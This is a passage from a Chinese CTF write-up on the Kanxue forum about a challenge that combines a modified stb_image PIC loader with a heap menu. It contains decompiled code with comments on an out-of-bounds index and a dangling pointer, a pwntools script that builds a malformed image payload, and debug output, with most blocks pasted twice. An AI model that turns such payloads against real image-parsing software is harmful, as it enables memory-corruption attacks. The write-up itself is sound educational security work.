  return v3;
}
 
_BOOL8 __fastcall stbi__pic_test_core(unsigned int *p_n4096, __int64 *modification_parameters)
{
  int i; // [rsp+1Ch] [rbp-4h]
 
  if ( !(unsigned int)stbi__pic_is4(p_n4096, &PICT) )// 4个字节头校验:53 80 f6 34
    return 0;
  for ( i = 0; i <= 0x53; ++i )
    stbi__get8(p_n4096);
  return (unsigned int)stbi__pic_is4(p_n4096, "PICT") != 0;
}
__int64 __fastcall stbi__pic_test(unsigned int *p_n4096, __int64 *modification_parameters)
{
  unsigned int v3; // [rsp+1Ch] [rbp-4h]
 
  v3 = stbi__pic_test_core(p_n4096, modification_parameters);
  stbi__rewind(p_n4096);
  return v3;
}
 
_BOOL8 __fastcall stbi__pic_test_core(unsigned int *p_n4096, __int64 *modification_parameters)
{
  int i; // [rsp+1Ch] [rbp-4h]
 
  if ( !(unsigned int)stbi__pic_is4(p_n4096, &PICT) )// 4个字节头校验:53 80 f6 34
    return 0;
  for ( i = 0; i <= 0x53; ++i )
    stbi__get8(p_n4096);
  return (unsigned int)stbi__pic_is4(p_n4096, "PICT") != 0;
}
local_format_ptr = image_format_ptr;
stack_canary_value = __readfsqword(0x28u);
if ( !image_format_ptr )
  local_format_ptr = (unsigned int *)&temp_format_storage;
for ( header_skip_counter = 0; header_skip_counter <= 0x5B; ++header_skip_counter )
  stbi__get8((__int64 *)file_data_ptr);       // 跳过header 92字节
image_width = stbi__get16be(file_data_ptr);   // 16bit大端序
image_height = stbi__get16be(file_data_ptr);  // 16bit大端序
if ( (int)image_height > 4096 || (int)image_width > 4096 )// 不能超过4096
  goto LABEL_12;
if ( (unsigned int)stbi__at_eof(file_data_ptr) )
{
  stbi__err("bad file");
  return 0;
}
if ( (unsigned int)stbi__mad3sizes_valid(image_width, image_height, 4, 0) )
{
  stbi__get32be(file_data_ptr);               // 跳过8字节
  stbi__get16be(file_data_ptr);
  stbi__get16be(file_data_ptr);
  loaded_image_data = (void *)stbi__malloc_mad3(image_width, image_height, 4u, 0);// 分配内存
  if ( loaded_image_data )
  {
    memset(loaded_image_data, 0xFF, (int)(4 * image_height * image_width));
    if ( !stbi__pic_load_core(
            file_data_ptr,
            image_width,
            image_height,
            local_format_ptr,
            (char *)loaded_image_data,
            image_modifications_ptr) )
local_format_ptr = image_format_ptr;
stack_canary_value = __readfsqword(0x28u);
if ( !image_format_ptr )
  local_format_ptr = (unsigned int *)&temp_format_storage;
for ( header_skip_counter = 0; header_skip_counter <= 0x5B; ++header_skip_counter )
  stbi__get8((__int64 *)file_data_ptr);       // 跳过header 92字节
image_width = stbi__get16be(file_data_ptr);   // 16bit大端序
image_height = stbi__get16be(file_data_ptr);  // 16bit大端序
if ( (int)image_height > 4096 || (int)image_width > 4096 )// 不能超过4096
  goto LABEL_12;
if ( (unsigned int)stbi__at_eof(file_data_ptr) )
{
  stbi__err("bad file");
  return 0;
}
if ( (unsigned int)stbi__mad3sizes_valid(image_width, image_height, 4, 0) )
{
  stbi__get32be(file_data_ptr);               // 跳过8字节
  stbi__get16be(file_data_ptr);
  stbi__get16be(file_data_ptr);
  loaded_image_data = (void *)stbi__malloc_mad3(image_width, image_height, 4u, 0);// 分配内存
  if ( loaded_image_data )
  {
    memset(loaded_image_data, 0xFF, (int)(4 * image_height * image_width));
    if ( !stbi__pic_load_core(
            file_data_ptr,
            image_width,
            image_height,
            local_format_ptr,
            (char *)loaded_image_data,
            image_modifications_ptr) )
  *(_QWORD *)&buffer_ptr_1[4] = __readfsqword(0x28u);
  compression_flags = 0;
  header_index = 0;
  do
  {
    if ( header_index == 10 )
    {
LABEL_3:
      stbi__err("bad format");
      return 0;
    }
    temp_int = header_index++;
    header_ptr = &header_data[3 * temp_int];    // 3字节
    header_type = (unsigned __int8)stbi__get8((__int64)data_stream);// 类型,为0的时候跳出结构
    *header_ptr = stbi__get8((__int64)data_stream);// 需要是8,必须是8
    header_ptr[1] = stbi__get8((__int64)data_stream);
    header_ptr[2] = stbi__get8((__int64)data_stream);
    compression_flags |= header_ptr[2];
    if ( (unsigned int)stbi__at_eof(data_stream) )
    {
LABEL_54:
      stbi__err("bad file");
      return 0;
    }
    if ( *header_ptr != 8 )
      goto LABEL_3;
  }
  while ( header_type );
  if ( (compression_flags & 0x10) != 0 )
    channel_count = 4;
  else
    channel_count = 3;
  *channels_out = channel_count;                // 这个数据是返回的,后面处理不用,不用管
  *(_QWORD *)&buffer_ptr_1[4] = __readfsqword(0x28u);
  compression_flags = 0;
  header_index = 0;
  do
  {
    if ( header_index == 10 )
    {
LABEL_3:
      stbi__err("bad format");
      return 0;
    }
    temp_int = header_index++;
    header_ptr = &header_data[3 * temp_int];    // 3字节
    header_type = (unsigned __int8)stbi__get8((__int64)data_stream);// 类型,为0的时候跳出结构
    *header_ptr = stbi__get8((__int64)data_stream);// 需要是8,必须是8
    header_ptr[1] = stbi__get8((__int64)data_stream);
    header_ptr[2] = stbi__get8((__int64)data_stream);
    compression_flags |= header_ptr[2];
    if ( (unsigned int)stbi__at_eof(data_stream) )
    {
LABEL_54:
      stbi__err("bad file");
      return 0;
    }
    if ( *header_ptr != 8 )
      goto LABEL_3;
  }
  while ( header_type );
  if ( (compression_flags & 0x10) != 0 )
    channel_count = 4;
  else
    channel_count = 3;
  *channels_out = channel_count;                // 这个数据是返回的,后面处理不用,不用管
  for ( i = 0; i < row_index; ++i )
  {
    for ( channel_index = 0; channel_index < header_index; ++channel_index )// 1个通道头,就只执行一轮
    {
      channel_header_ptr = &header_data[3 * channel_index];
      buffer_ptr = &output_buffer[4 * width * i];
      if ( channel_header_ptr[1] == 2 )         // 通道头 = 2
      {
   
... 
     
      }
      else                                      // 1或者0的情况
      {
        if ( (unsigned __int8)header_data[3 * channel_index + 1] > 2u )// 只能是0 1 2
          goto LABEL_3;
        if ( header_data[3 * channel_index + 1] )// 1 的情况
        {
...
        }
        else                                    // 0的情况
        {
          for ( copy_count = 0; copy_count < width; ++copy_count )// 累加次数是width
          {
            if ( !stbi__readval(data_stream, (unsigned __int8)channel_header_ptr[2], buffer_ptr) )// 需要读取的值不为0,读取4字节到buffer_ptr
              return 0;
            mod_result = ((unsigned __int8)*buffer_ptr - (unsigned __int8)*(buffer_ptr - 4)) % 11;// 每次读取4字节,首字节相减求模11
            neg_mod_result = -mod_result;       // 求反
            if ( mod_result > 0 )               // 如果是大于0的值
              neg_mod_result = ((unsigned __int8)*buffer_ptr - (unsigned __int8)*(buffer_ptr - 4)) % 11;// 就不进行求反,值是0-10的值,1010
            noise_value = image_noises[neg_mod_result];// 原本的噪音
                                                // pwndbg> p $st0
                                                // $1 = 2
            index_temp = -mod_result;           // 索引是求反的值
                                                // 如果是-10,求反变成10,就能控制idx=10,溢出位所在
            if ( mod_result > 0 )
              index_temp = ((unsigned __int8)*buffer_ptr - (unsigned __int8)*(buffer_ptr - 4)) % 11;// 不求反的情况
            image_noises[index_temp] = noise_value + (double)(unsigned __int8)(buffer_ptr[1] ^ buffer_ptr[2]) * 1.0e-16;
            buffer_ptr += 4;                    // 累加操作
          }
        }
      }
    }
  }
  return output_buffer;
  for ( i = 0; i < row_index; ++i )
  {
    for ( channel_index = 0; channel_index < header_index; ++channel_index )// 1个通道头,就只执行一轮
    {
      channel_header_ptr = &header_data[3 * channel_index];
      buffer_ptr = &output_buffer[4 * width * i];
      if ( channel_header_ptr[1] == 2 )         // 通道头 = 2
      {
   
... 
     
      }
      else                                      // 1或者0的情况
      {
        if ( (unsigned __int8)header_data[3 * channel_index + 1] > 2u )// 只能是0 1 2
          goto LABEL_3;
        if ( header_data[3 * channel_index + 1] )// 1 的情况
        {
...
        }
        else                                    // 0的情况
        {
          for ( copy_count = 0; copy_count < width; ++copy_count )// 累加次数是width
          {
            if ( !stbi__readval(data_stream, (unsigned __int8)channel_header_ptr[2], buffer_ptr) )// 需要读取的值不为0,读取4字节到buffer_ptr
              return 0;
            mod_result = ((unsigned __int8)*buffer_ptr - (unsigned __int8)*(buffer_ptr - 4)) % 11;// 每次读取4字节,首字节相减求模11
            neg_mod_result = -mod_result;       // 求反
            if ( mod_result > 0 )               // 如果是大于0的值
              neg_mod_result = ((unsigned __int8)*buffer_ptr - (unsigned __int8)*(buffer_ptr - 4)) % 11;// 就不进行求反,值是0-10的值,1010
            noise_value = image_noises[neg_mod_result];// 原本的噪音
                                                // pwndbg> p $st0
                                                // $1 = 2
            index_temp = -mod_result;           // 索引是求反的值
                                                // 如果是-10,求反变成10,就能控制idx=10,溢出位所在
            if ( mod_result > 0 )
              index_temp = ((unsigned __int8)*buffer_ptr - (unsigned __int8)*(buffer_ptr - 4)) % 11;// 不求反的情况
            image_noises[index_temp] = noise_value + (double)(unsigned __int8)(buffer_ptr[1] ^ buffer_ptr[2]) * 1.0e-16;
            buffer_ptr += 4;                    // 累加操作
          }
        }
      }
    }
  }
  return output_buffer;
bytes([10,0xf0,0x0f,4]) + bytes([0,0xf0,0x0f,4])
bytes([10,0xf0,0x0f,4]) + bytes([0,0xf0,0x0f,4])
def pack_data():
    return bytes([10,0xf0,0x0f,4]) + bytes([0,0xf0,0x0f,4])
 
data = flat({
    # header check
    0:bytes([0x53, 0x80, 0xF6, 0x34]),
    0x58:b"PICT",
    0x5c:p16(0x5500),   # width big endian
    0x5e:p16(0x100),   # height big endian
    0x68:bytes([0,8,0,0xf0]), # header info
    0x6c:pack_data()*0x40
},filler=b"\x00")
 
sz = len(data)
ru(b"Enter image size in bytes: ")
sl(str(sz).encode())
sl(data)
 
ru(b"yo face = ")
num = rl()[:-1]
success(f"num = {num} / 4919")
def pack_data():
    return bytes([10,0xf0,0x0f,4]) + bytes([0,0xf0,0x0f,4])
 
data = flat({
    # header check
    0:bytes([0x53, 0x80, 0xF6, 0x34]),
    0x58:b"PICT",
    0x5c:p16(0x5500),   # width big endian
    0x5e:p16(0x100),   # height big endian
    0x68:bytes([0,8,0,0xf0]), # header info
    0x6c:pack_data()*0x40
},filler=b"\x00")
 
sz = len(data)
ru(b"Enter image size in bytes: ")
sl(str(sz).encode())
sl(data)
 
ru(b"yo face = ")
num = rl()[:-1]
success(f"num = {num} / 4919")
[DEBUG] Received 0x1b bytes:
    b'Enter image size in bytes: '
[DEBUG] Sent 0x4 bytes:
    b'620\n'
[DEBUG] Sent 0x26d bytes:
    00000000  53 80 f6 34  00 00 00 00  00 00 00 00  00 00 00 00  │S··4│····│····│····│
    00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000050  00 00 00 00  00 00 00 00  50 49 43 54  00 55 00 01  │····│····│PICT│·U··│
    00000060  00 00 00 00  00 00 00 00  00 08 00 f0  0a f0 0f 04  │····│····│····│····│
    00000070  00 f0 0f 04  0a f0 0f 04  00 f0 0f 04  0a f0 0f 04  │····│····│····│····│
    *
    00000260  00 f0 0f 04  0a f0 0f 04  00 f0 0f 04  0a           │····│····│····│·│
    0000026d
[DEBUG] Received 0x26 bytes:
    b'yo face = 4919\n'
    b'=== restoaurnat ===\n'
    b'>> '
[+] num = b'4919' / 4919
[DEBUG] Received 0x1b bytes:
    b'Enter image size in bytes: '
[DEBUG] Sent 0x4 bytes:
    b'620\n'
[DEBUG] Sent 0x26d bytes:
    00000000  53 80 f6 34  00 00 00 00  00 00 00 00  00 00 00 00  │S··4│····│····│····│
    00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000050  00 00 00 00  00 00 00 00  50 49 43 54  00 55 00 01  │····│····│PICT│·U··│
    00000060  00 00 00 00  00 00 00 00  00 08 00 f0  0a f0 0f 04  │····│····│····│····│
    00000070  00 f0 0f 04  0a f0 0f 04  00 f0 0f 04  0a f0 0f 04  │····│····│····│····│
    *
    00000260  00 f0 0f 04  0a f0 0f 04  00 f0 0f 04  0a           │····│····│····│·│
    0000026d
[DEBUG] Received 0x26 bytes:
    b'yo face = 4919\n'
    b'=== restoaurnat ===\n'
    b'>> '
[+] num = b'4919' / 4919
    while ( 1 )
    {
      while ( 1 )
      {
        menu(menu_format_string);
        menu_format_string = "%d";
        if ( (unsigned int)__isoc99_scanf("%d", &choice) != 1 )
        {
          puts("Invalid input!");
          exit(1);
        }
        if ( choice != 31 )
          break;
        if ( privilege )
          goto LABEL_39;
        do_show();                              // 检查chunk指针,打印8字节
      }
      if ( choice > 31 )
        goto LABEL_42;
      if ( choice == 17 )
      {
        puts("Here's a dollar go get yoself a mggaga");
        goto LABEL_42;
      }
      if ( choice > 17 )
        goto LABEL_42;
      if ( choice == 1 )
      {
        if ( privilege )
          goto LABEL_39;
        do_alloc();                             // 申请,填充数据,只能申请2次
      }
      else if ( choice == 2 )
      {
        if ( privilege )
        {
LABEL_39:
          menu_format_string = "You have to be a pwn monk to order";
          puts("You have to be a pwn monk to order");
        }
        else
        {
          do_delete("%d");                      // 存在未清空的指针
        }
      }
      else
      {
LABEL_42:
        menu_format_string = "Invalid choice!";
        puts("Invalid choice!");
      }
    }
  }
  error_message = (const char *)stbi_failure_reason(image_buffer);
  printf("Error loading image: %s\n", error_message);
  return 1;
    while ( 1 )
    {
      while ( 1 )
      {
        menu(menu_format_string);
        menu_format_string = "%d";
        if ( (unsigned int)__isoc99_scanf("%d", &choice) != 1 )
        {
          puts("Invalid input!");
          exit(1);
        }
        if ( choice != 31 )
          break;
        if ( privilege )
          goto LABEL_39;
        do_show();                              // 检查chunk指针,打印8字节
      }
      if ( choice > 31 )
        goto LABEL_42;
      if ( choice == 17 )
      {
        puts("Here's a dollar go get yoself a mggaga");
        goto LABEL_42;
      }
      if ( choice > 17 )
        goto LABEL_42;
      if ( choice == 1 )
      {
        if ( privilege )
          goto LABEL_39;
        do_alloc();                             // 申请,填充数据,只能申请2次
      }
      else if ( choice == 2 )
      {
        if ( privilege )
        {
LABEL_39:
          menu_format_string = "You have to be a pwn monk to order";
          puts("You have to be a pwn monk to order");
        }
        else
        {
          do_delete("%d");                      // 存在未清空的指针
        }
      }
      else
      {
LABEL_42:
        menu_format_string = "Invalid choice!";
        puts("Invalid choice!");
      }
    }
  }
  error_message = (const char *)stbi_failure_reason(image_buffer);
  printf("Error loading image: %s\n", error_message);
  return 1;
unsigned __int64 __fastcall do_alloc()
{
  unsigned int idx; // [rsp+Ch] [rbp-84h] BYREF
  size_t size; // [rsp+10h] [rbp-80h]
  void *s; // [rsp+18h] [rbp-78h]
  _BYTE buf[104]; // [rsp+20h] [rbp-70h] BYREF
  unsigned __int64 v5; // [rsp+88h] [rbp-8h]
 
  v5 = __readfsqword(0x28u);
  printf("order: ");
  if ( (unsigned int)__isoc99_scanf("%d", &idx) == 1 && idx <= 0xA )
  {
    printf("describe ");
    getchar();
    size = read(0, buf, 0x5Fu);                 // 长度取决于输入长度
    if ( (__int64)size > 0 )                    // 读取的长度
    {
      if ( buf[size - 1] == 10 )                // 最后一个是\n,就忽略
        --size;
      if ( size && (__int64)size <= 0x5F )      // 长度<=0x5f
      {
        if ( size != sizes[allowed] )           // 数组,size不同就设置到数组里
          sizes[++allowed] = size;              // 从1开始
        if ( allowed <= 2 )                     // 前2个
        {
          s = malloc(size);                     // 申请内存
          if ( !s )
            exit(1);
          memset(s, 0, 8u);
          memcpy(s, buf, size);                 // 复制
          chunks[idx] = (__int64)s;             // 设置指针
          puts("big chungus.");
        }
        else
        {
          puts("You ate too much and pooped yoself");
        }
      }
    }
  }
  return v5 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall do_alloc()
{
  unsigned int idx; // [rsp+Ch] [rbp-84h] BYREF
  size_t size; // [rsp+10h] [rbp-80h]
  void *s; // [rsp+18h] [rbp-78h]
  _BYTE buf[104]; // [rsp+20h] [rbp-70h] BYREF
  unsigned __int64 v5; // [rsp+88h] [rbp-8h]
 
  v5 = __readfsqword(0x28u);
  printf("order: ");
  if ( (unsigned int)__isoc99_scanf("%d", &idx) == 1 && idx <= 0xA )
  {
    printf("describe ");
    getchar();
    size = read(0, buf, 0x5Fu);                 // 长度取决于输入长度
    if ( (__int64)size > 0 )                    // 读取的长度
    {
      if ( buf[size - 1] == 10 )                // 最后一个是\n,就忽略
        --size;
      if ( size && (__int64)size <= 0x5F )      // 长度<=0x5f
      {

传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 5
支持
分享
最新回复 (4)
雪    币: 2573
活跃值: (10630)
能力值: (RANK:438 )
在线值:
发帖
回帖
粉丝
2
感谢分享~方便的话麻烦上传一下附件供其他师傅学习、复现,谢谢!
2025-9-27 18:56
0
雪    币: 5215
活跃值: (2501)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
3

题目已上传至附件

上传的附件:
2025-9-29 22:39
0
雪    币: 42
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
可以私聊吗
2025-10-5 09:30
0
雪    币: 0
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
5
"需要注意,unsortedbin chunk next chunk也需要伪造",想问一下这里的next chunk怎么伪造?因为进unsortde bin最少0x421size的才行,但11个块即使申请完,即使是0号块+0x420也刚好到top chunk,没有可以控制的块?
2025-11-28 12:01
0
游客
登录 | 注册 方可回帖
返回